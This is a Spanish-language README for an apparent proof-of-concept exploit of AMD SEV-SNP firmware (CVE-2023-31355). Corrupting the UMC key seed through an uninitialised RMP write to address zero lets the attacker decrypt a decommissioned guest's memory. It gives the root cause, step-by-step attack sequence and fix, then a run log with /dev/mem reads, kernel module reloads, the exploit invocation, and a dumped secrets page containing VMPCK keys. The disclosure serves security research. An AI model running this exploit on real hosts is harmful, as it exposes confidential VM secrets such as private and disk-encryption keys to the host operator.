
Exploit para la vulnerabilidad de firmware AMD SEV-SNP (CVE-2023-31355) que descifra memoria arbitraria de invitados dados de baja corrompiendo la semilla de clave UMC mediante una escritura de entrada RMP no inicializada a la dirección cero.
Este repositorio contiene un exploit para una vulnerabilidad en el firmware SEV. El exploit permite descifrar memoria arbitraria de un invitado SEV-SNP después de haber sido dado de baja.
Probado en la versión 1.55.16 (la más reciente al momento de escribir).
snp_reclaim_buffer intenta incondicionalmente escribir de vuelta los cambios del RMP incluso cuando la dirección no está cubierta por el RMP. Si address no está cubierta por el RMP, la dirección para la entrada RMP page_rmp_paddr nunca se inicializa correctamente y permanece en su valor inicial de 0. Como resultado, el firmware intenta escribir los cambios a la entrada RMP de vuelta a la dirección 0. Esto es malo porque la dirección 0 está cubierta por el RMP y no debería escribirse sin más comprobaciones. Si address está fuera del área cubierta por el RMP, page_rmp_entry nunca se inicializa correctamente y contiene basura de la pila. Esta basura es constante en la práctica.
Hay un comentario advirtiendo exactamente sobre este patrón de código, que también es por lo que no me sorprendería si no soy el primero en reportar esto.
snp_reclaim_buffer es llamado con la dirección de la página de estado de los búferes de anillo SEV cuando el hipervisor solicita salir del modo de búfer de anillo. Esta dirección es controlada por el atacante. Hay algunas comprobaciones para esta dirección, pero las páginas predeterminadas (es decir, páginas fuera del área cubierta por el RMP) están explícitamente permitidas.
Podemos explotar esta escritura en la dirección 0 colocando una página de contexto de invitado allí. Convenientemente, el primer campo de la página de contexto de invitado es la semilla clave UMC, que tiene exactamente el mismo tamaño que una entrada RMP (ambas tienen 16 bytes de tamaño). Engañando al firmware para que escriba los cambios de vuelta a la dirección 0, podemos corromper la semilla clave UMC. La entrada RMP no inicializada que se escribe es siempre la misma, por lo que la semilla clave UMC corrompida también será casi siempre la misma: el conteo de subpáginas (9 bits) en la entrada RMP no se escribe, pero todos los demás campos sí. Al crear repetidamente nuevas páginas de contexto de invitado que tendrán un conteo de subpáginas inicial aleatorio diferente cada vez, podemos eventualmente crear múltiples invitados con la misma semilla clave UMC.
Para explotar la vulnerabilidad podemos ejecutar los siguientes pasos:
0 para el invitado víctima.0 para el invitado atacante.SNP_DBG_ENCRYPT para descifrar la memoria del invitado víctima usando la página de contexto del invitado atacante. Esto tendrá éxito porque el invitado víctima y el invitado atacante comparten una semilla clave UMC.Debido al hecho de que solo podemos descifrar memoria después de que el invitado haya sido dado de baja, no es posible crear informes de atestación falsificados aunque tengamos acceso a los secretos del invitado. Solo podemos crear informes de atestación falsificados si el invitado ha sido migrado a otro host antes de ser dado de baja: en este caso, los secretos (es decir, VMPCKs) del invitado dado de baja también funcionarán en la nueva instancia migrada.
En la práctica, sin embargo, muchas aplicaciones almacenan otra información sensible (es decir, claves privadas, claves de cifrado de disco) que pueden filtrarse usando este exploit.
La entrada RMP solo debe escribirse de vuelta si la página no estaba en el estado predeterminado.
root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
118402003190020000d0150701000000
root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[ 463.851449] kvm_amd: Detected secret page at pfn 171a24
ccp, kvm y kvm_and:
root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24
Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
[11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
Raw page:
000: 0300000000000000110fa0000000000000000000000000000000000082837143
020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000
Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 00000000000000000000000082837143
vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200